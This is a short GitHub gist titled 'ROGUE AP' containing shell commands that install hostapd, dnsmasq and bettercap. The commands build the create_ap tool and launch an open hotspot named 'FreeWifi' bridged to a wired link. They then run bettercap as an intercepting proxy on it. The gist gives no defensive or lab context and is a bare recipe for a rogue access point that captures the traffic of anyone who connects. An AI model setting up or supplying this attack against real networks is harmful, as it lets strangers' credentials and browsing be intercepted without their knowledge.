Skip to content

Instantly share code, notes, and snippets.

@castexyz
Created April 6, 2020 12:47
Show Gist options
  • Save castexyz/e167ed716dac098f511d4b7aa464a121 to your computer and use it in GitHub Desktop.
Save castexyz/e167ed716dac098f511d4b7aa464a121 to your computer and use it in GitHub Desktop.
ROGUE AP
sudo apt-get install haveged hostapd git util-linux procps iproute2 iw dnsmasq iptables bettercap
git clone https://github.com/oblique/create_ap
cd create_ap
sudo make install
sudo systemctl stop NetworkManager
Create AP (create_ap <wifi-interface> [<interface-with-internet>] [<access-point-name> [<passphrase>]])
sudo create_ap wlan1 eth0 FreeWifi
If you get error like "Error: Failed to run hostapd, maybe a tool is interfering." , then try to kill wpa_supplicant
killall -9 wpa_supplicant
sudo bettercap -X -I wlan0 -S NONE --proxy --no-discovery
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment